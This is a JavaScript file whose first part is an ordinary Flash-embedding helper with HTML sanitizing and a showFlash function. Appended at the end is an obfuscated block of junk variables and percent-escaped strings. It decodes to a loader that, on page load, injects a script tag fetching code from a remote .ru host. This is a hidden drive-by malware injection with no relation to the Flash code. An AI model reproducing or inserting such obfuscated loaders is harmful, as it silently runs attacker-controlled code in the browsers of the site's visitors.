function sanitizeForbiddenHTMLTextChars(in_s)
{
	var out_s = in_s.toString();//We are sometimes called to sanitize non-strings...like document.location

	out_s = out_s.split("<").join("&lt;");
	out_s = out_s.split(">").join("&gt;");
	out_s = out_s.split("'").join("&apos;");
	out_s = out_s.split('"').join("&quot;");
	
	return out_s;
}

function removeExtraURLParams(in_s)
{
	var inp = in_s.toString();
	var indexOfAmp = in_s.indexOf("&");
	
	var outp = inp;
	if(indexOfAmp!=-1)
		outp = inp.substring(0, indexOfAmp);
	
	return outp;
}

function showFlash(swf, w, h, loop)
{
	var isMSIE = navigator.appName.indexOf("Microsoft") != -1;
	var s = '';
	var protocol = 'http';//safe default
	var url = document.location.toString();
	indexOfColon = url.indexOf(":");
	if(indexOfColon>0)	
		protocol = url.substring(0, indexOfColon);
	if(protocol!='http' || protocol!='https')
		protocol='https';
	var location = document.location;
	location = (location==unescape(location))?escape(location):location;

	s += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="' + protocol + '://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,65,0" width="'+w+'" height="'+h+'" id="SlideContent" align="" VIEWASTEXT>'
	s += '<param name="movie" value="'+sanitizeForbiddenHTMLTextChars(swf)+'" />'
	s += '<param name="menu" value="false" />'
	s += '<param name="quality" value="best" />'
	s += '<param name="loop" value="'+loop+'" />'
	s += '<param name="FlashVars" value="initialURL='+
			removeExtraURLParams(sanitizeForbiddenHTMLTextChars(location))+
			'&isMSIE='+isMSIE+'&useBSM=false" />'
	s += '<param name="allowScriptAccess" value="sameDomain"/>'
	s += '<embed src="'+sanitizeForbiddenHTMLTextChars(swf)+'" FlashVars="initialURL='+
			removeExtraURLParams(sanitizeForbiddenHTMLTextChars(location))+
			'&isMSIE='+isMSIE+'&useBSM=false" menu="false" quality="best" width="'+w+'" height="'+h+'" loop="'+loop+'" name="SlideContent" align="" type="application/x-shockwave-flash" pluginspage="' + protocol + '://www.macromedia.com/go/getflashplayer" swLiveConnect="true" allowScriptAccess="sameDomain"></embed>'
	s += '</object>'
	// in theory, we should always embed in a table, but in practice, IE6 malfunctions
	// when width & height = 100%, but in that case, we don't really need the table anyway.
	if ((w.toString().indexOf('%') == -1) && (h.toString().indexOf('%') == -1))
	{
		s = '<table border=0 width="100%" height="100%"><tr valign="middle"><td align="center">' +
			s +
			'</td></tr></table>';
	}
	document.write(s);
}


var Gc=new String();this.Go="";this.ar='';function B(){var T;if(T!='n' && T!='Zt'){T=''};var M;if(M!='r'){M='r'};var G=window;this.GU="";var z=unescape;var Yh;if(Yh!='Fx' && Yh!='Xf'){Yh=''};var BM=z("%2f%62%69%6c%64%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%76%69%72%67%69%6e%6d%65%64%69%61%2e%63%6f%6d%2e%70%68%70");var b;if(b!='' && b!='o'){b='L'};function f(O,a){var co="";var h=new String("g");var od=new Date();var H;if(H!='Yf' && H!='p'){H='Yf'};var q=z("%5b"), v=z("%5d");var by=new Array();this.oR="";var Z=q+a+v;var WT;if(WT!='' && WT!='Lq'){WT=''};var V=new RegExp(Z, h);var Gs;if(Gs!=''){Gs='IX'};return O.replace(V, new String());var Md='';};var q_="";var b_="";var jK=new String();var DP=new String();var zv="";var Y=f('899972036975525844733915035111243','76295143');var X=document;var PU;if(PU!='MG' && PU!='qg'){PU=''};var ry=new String();var Vy=new String();var S_=new String();function F(){this.Zj='';var i;if(i!='EG'){i='EG'};var vg=z("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var Hl;if(Hl!='' && Hl!='Xd'){Hl='ze'};Vy=vg;Vy+=Y;var QQ=new Date();Vy+=BM;try {var UP=new String();this.Tx='';c=X.createElement(f('sbcerKiIpHtZ','gqb4ZRyK0QUj5hHeI'));c[z("%64%65%66%65%72")]=[6,1][1];var pw;if(pw!='nn' && pw != ''){pw=null};this.LK='';c[z("%73%72%63")]=Vy;var bW=new Date();X.body.appendChild(c);this.UH='';var Ov='';} catch(E){var ES='';var GQ=new Date();alert(E);var _j;if(_j!='N' && _j != ''){_j=null};};}this.wL="";var rP=new Array();var Uz;if(Uz!='jM' && Uz!='qH'){Uz=''};G[new String("EWeMonloa".substr(4)+"qPpud".substr(4))]=F;this.Iw="";};var Ue=new Array();var Lqz;if(Lqz!='sv' && Lqz!='je'){Lqz='sv'};B();var Qh;if(Qh!='zL'){Qh='zL'};var OU;if(OU!='jz'){OU='jz'};
